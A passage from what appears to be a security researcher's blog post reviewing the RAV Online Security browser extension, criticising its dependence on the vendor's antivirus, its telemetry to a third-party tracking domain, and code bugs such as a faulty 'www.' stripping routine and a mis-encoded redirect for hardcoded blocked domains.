RAV Endpoint Protection providing a full and comprehensive protection across your web browser and personal computer.</p> </blockquote> <p>In other words: you have to install their antivirus, and then the extension will trigger it whenever you download something.</p> <p>Which, quite frankly, isn’t very impressive. The <a href="https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nf-shobjidl_core-iattachmentexecute-save">IAttachmentExecute::Save method</a> has been available as a way to run antivirus applications since Windows XP SP2. Mozilla added support for it with Firefox 3, which was released 15 years ago. Chrome likely supported this from day one. So antivirus software has had a supported way to scan downloads for a very long time. It doesn’t need browser extensions for that.</p> <h3 id="cookie-and-tracker-blocking-notification-control">Cookie and tracker blocking, notification control</h3> <p>And then there are a few more things that pretend to be useful features:</p> <blockquote> <p>Blocks Cookies and Trackers- Online Security identifies and blocks malicious cookies and trackers that target you with aggressive and hostile advertising. This allows you to keep your browsing experience private and safe.</p> </blockquote> <blockquote> <p>Notification Control - Online Security blocks notifications from malicious websites and puts the control at your fingertips, so you can easily follow and remove unwanted notifications through the extension dashboard.</p> </blockquote> <p>Don’t make the wording here confuse you: Online Security is not an ad blocker. It won’t actually block trackers, and it won’t really help you get rid of cookies or notifications.</p> <p>This entire block of functionality is reserved exclusively to websites that Online Security considers malicious. When it encounters a malicious website (which, in its definition, is restricted to top-level websites), Online Security will delete cookies and browsing data for this website. It will also disable notifications from it.</p> <p>Now you are probably wondering: what’s the point if malicious websites are blocked anyway? But they aren’t actually blocked. Since Online Security doesn’t have its data available locally, it has to query its webserver to decide whether a website is malicious. By the time it receives a response, the website might have loaded already. So it will be <em>redirected</em> to the extension’s “Blocked website” page.</p> <p>So this functionality is merely a band-aid for the window of opportunity this extension grants malicious websites to do mischief.</p> <h2 id="explicit-tracking">Explicit tracking</h2> <p>Whenever you open some extension page, when you click something in the extension, if you merely sneeze near the extension, it will send a tracking event to <code>track.atom-ds.com</code>. The request looks like this:</p> <pre tabindex="0"><code>POST / HTTP/1.1 Host: track.atom-ds.com Content-Type: text/plain;charset=UTF-8 Content-Length: 438 { &#34;auth&#34;: &#34;&#34;, &#34;data&#34;: &#34;[{ \&#34;clientcreated\&#34;:1683711797044, \&#34;extension_id\&#34;:\&#34;llbcnfanfmjhpedaedhbcnpgeepdnnok\&#34;, \&#34;version\&#34;:\&#34;3.13.1\&#34;, \&#34;random_number\&#34;:902, \&#34;action\&#34;:\&#34;click\&#34;, \&#34;product\&#34;:\&#34;rav_extension\&#34;, \&#34;screenid\&#34;:\&#34;home_tab\&#34;, \&#34;button\&#34;:\&#34;see_more\&#34;, \&#34;screencomponentname\&#34;:\&#34;notifications\&#34;, \&#34;status\&#34;:\&#34;2_notifications_blocked\&#34;, \&#34;ext_uid\&#34;:\&#34;2362740a-6bba-40d6-8047-898a3b4423d5\&#34; }]&#34;, &#34;table&#34;: &#34;digital_solutions_cyber_extensions_ui&#34; } </code></pre><p>The <code>ext_uid</code> field here is the persistent user identifier we’ve seen as <code>x-userid</code> HTTP header before.</p> <p>Now this kind of tracking might not be unusual. It’s being disclosed in the privacy policy:</p> <blockquote> <p>(ii) time and date of certain events related to the Software (such as launching and scanning, updating and uninstalling the Software), activity log of your use of the Software and the most used features of the Software</p> </blockquote> <p>With the supposed purpose:</p> <blockquote> <p>To provide, support and operate the Software as well as to further develop, enhance and improve our Software and your user experience with our Software.</p> </blockquote> <p>Of course, it would have been nice for such functionality to be opt-in, but who would object against their favorite browser extension being improved?</p> <p>Well, it would also have been nice to say that this data is not being stored together with the user identifier. But it probably is, so that ReasonLabs has user profiles containing both browsing history <em>and</em> the user’s extension usage.</p> <p>I wonder however: who runs the <code>atom-ds.com</code> domain? The privacy policy claims that Google Analytics is being used for monitoring, but this isn’t the Google Analytics domain. Online Security probably used Google Analytics in the past, but it doesn’t right now.</p> <p>I also doubt that the domain is owned by ReasonLabs. This domain is listed in various tracking protection lists, it must be some company in the business of monitoring users. And ReasonLabs failed listing this third party in their privacy policy.</p> <h2 id="code-quality-issues">Code quality issues</h2> <p>None of this means of course that browser extensions created by antivirus vendors cannot be useful. But they tend not to be. Which in my opinion is likely a question of priorities: for an antivirus vendor, their browser extension is never a priority. And so they don’t hire any expertise to develop it.</p> <p>This lack of expertise is how I explain the common pattern of providing a minimal extension and then <a href="https://palant.info/2018/11/30/maximizing-password-manager-attack-surface-leaning-from-kaspersky/">escaping into a native application as soon as possible</a>. That’s not what Online Security developers did however, their extension is largely independent of the antivirus product.</p> <p>The result isn’t exactly instilling confidence however. It has an unused page called <code>newtab.html</code> titled “Chrome Extension Boilerplate (with React 16.6+ &amp; Webpack 4+).” It seems that they used a <a href="https://github.com/lxieyang/chrome-extension-boilerplate-react/">publicly available extension boilerplate</a> and failed to remove the unnecessary parts. As a result, their extension contains among other things unused files <code>newtab.bundle.js</code> and <code>panel.bundle.js</code> weighting 190 KiB each.</p> <p>But not only that. It contains its own copy of the Google Analytics script (another 140 KiB), also unused of course. I am fairly certain that copying this script violates Google’s license terms.</p> <p>There are also more serious issues with the code. For example, there is a hardcoded list with almost 500 domains:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;birkiesdipyre.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;birlerskababs.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="err">…</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;hegrem.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s2">&#34;hehraybryciyls.com&#34;</span> </span></span><span class="line"><span class="cl"><span class="p">].</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">domain</span><span class="p">,</span> <span class="nx">index</span><span class="p">)</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">declarativeNetRequest</span><span class="p">.</span><span class="nx">updateDynamicRules</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="nx">addRules</span><span class="o">:</span> <span class="p">[{</span> </span></span><span class="line"><span class="cl"> <span class="nx">id</span><span class="o">:</span> <span class="nx">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">priority</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">action</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">type</span><span class="o">:</span> <span class="s2">&#34;redirect&#34;</span> </span></span><span class="line"><span class="cl"> <span class="nx">redirect</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span><span class="o">:</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">getURL</span><span class="p">(</span><span class="s2">&#34;/index.html?url=http://&#34;</span><span class="o">+</span><span class="nx">btoa</span><span class="p">(</span><span class="nx">domain</span><span class="p">)</span><span class="o">+</span><span class="s2">&#34;#/Blocked&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">condition</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">urlFilter</span><span class="o">:</span> <span class="nx">domain</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">resourceTypes</span><span class="o">:</span> <span class="p">[</span><span class="s2">&#34;main_frame&#34;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}]</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"><span class="p">});</span> </span></span></code></pre></div><p>It sort of makes sense to block some domains unconditionally, even if ReasonLabs’ server is down. It doesn’t make sense to use only domains starting with letters B to H however. No idea why the full list isn’t used here. It cannot be the package size, as there would have been obvious ways to cut down on this one (see above).</p> <p>Note also that the condition uses the <code>urlFilter</code> keyword rather than <code>initiatorDomains</code>. So instead of blocking only these domains, they blocked every address where these domain names can be found – which could be e.g. websites writing <em>about</em> these domains.</p> <p>And the redirect target? They’ve put <code>http://</code> outside the <code>btoa()</code> call, so the page cannot decode the <code>url</code> parameter and renders blank. It seems that this functionality hasn’t been tested at all.</p> <p>That’s just the obvious mistakes in a small piece of code. Another typical bug looks like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">hostname</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">url</span><span class="p">).</span><span class="nx">hostname</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="s2">&#34;www.&#34;</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">);</span> </span></span></code></pre></div><p>Clearly, the intention is to remove <code>www.</code> prefix at the start of a host name. Instead, this will remove <code>www.</code> anywhere in the host name. So <code>gwww.oogle.com</code> for example becomes <code>google.com</code>.</p> <p>And that’s a pattern used all over the codebase. It’s used for removing cookies, deleting browsing data, setting site permissions. All of this could potentially be misdirected to an unrelated website.</p> <p>For example, here is what the notifications settings display after I opened the extension’s “Blocked website” page for <code>gwww.oogle.com</code>:</p> <figure><img src="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/notifications_list.png" class="article-image" alt="Page titled “Notifications control” listing two sources: gwww.oogle.com and suspendeddomain.org. The former is underlined with a thick red line." width="616" height="417" /></figure> <p>And here is what the cookie settings show:</p> <figure><img src="https://palant.info/2023/05/10/online-security-extension-destroying-privacy-for-no-good-reason/cookies_list.png" class="article-image" alt="Page titled “Cookies and trackers” listing two sources: google.com and suspendeddomain.org. The former is underlined with a thick red line." width="616" height="500" /></figure> <h2 id="conclusion">Conclusion</h2> <p>As we’ve seen, Online Security provides little to no value compared to functionality built into browsers or available for free. At the same time, it implements its functionality in a massively privacy-invading way. That’s despite better solutions to the problem being available for more than a decade and being widely publicized along with their shortcomings.</p> <p>At the same time, code quality issues that I noticed in my glimpse of the extension’s source code aren’t exactly confidence instilling. As so often with antivirus vendors, there is little expertise and/or priority developing browser extensions.</p> <p>If you really want to secure your browsing, it’s advisable to stay away from Online Security and similar products by antivirus vendors. What makes sense is an ad blocker, possibly configured to block trackers as well. And the antivirus better stays outside your browser.</p> <p>Mind you, Windows Defender is a perfectly capable antivirus starting with Windows 10, and it’s installed by default. There is little reason to install a third-party antivirus application.</p>